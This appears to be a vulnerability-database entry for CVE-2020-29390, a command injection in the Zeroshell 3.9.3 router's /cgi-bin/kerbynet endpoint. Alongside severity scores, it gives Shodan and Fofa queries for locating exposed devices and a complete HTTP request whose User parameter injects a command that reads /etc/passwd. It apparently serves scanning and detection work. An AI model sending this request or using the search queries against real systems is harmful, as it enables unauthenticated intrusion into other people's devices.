| Title | Zeroshell 3.9.3 - Command Injection |
|---|---|
| Author | DhiyaneshDk |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system. |
| Remediation | Upgrade to the latest version of Zeroshell or apply security patches provided by the vendor. |
| CVSS Score | 9.8 |
| EPSS Score | 0.90592 |
| CVE ID | CVE-2020-29390 |
| CWE ID | CWE-78 |
| Shodan Query | http.title:"zeroshell" |
| Fofa Query | title="zeroshell" |
| Tags | cve cve2020 zeroshell rce router vkev vuln |
Zeroshell 3.9.3 contains a command injection vulnerability in the /cgi-bin/kerbynet StartSessionSubmit parameter that could allow an unauthenticated attacker to execute a system command by using shell metacharacters and the %0a character.
GET /cgi-bin/kerbynet?Action=StartSessionSubmit&User=%27%26cat%20/etc/passwd%26%27&PW HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-29390.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-29390.pcap
N/AN/A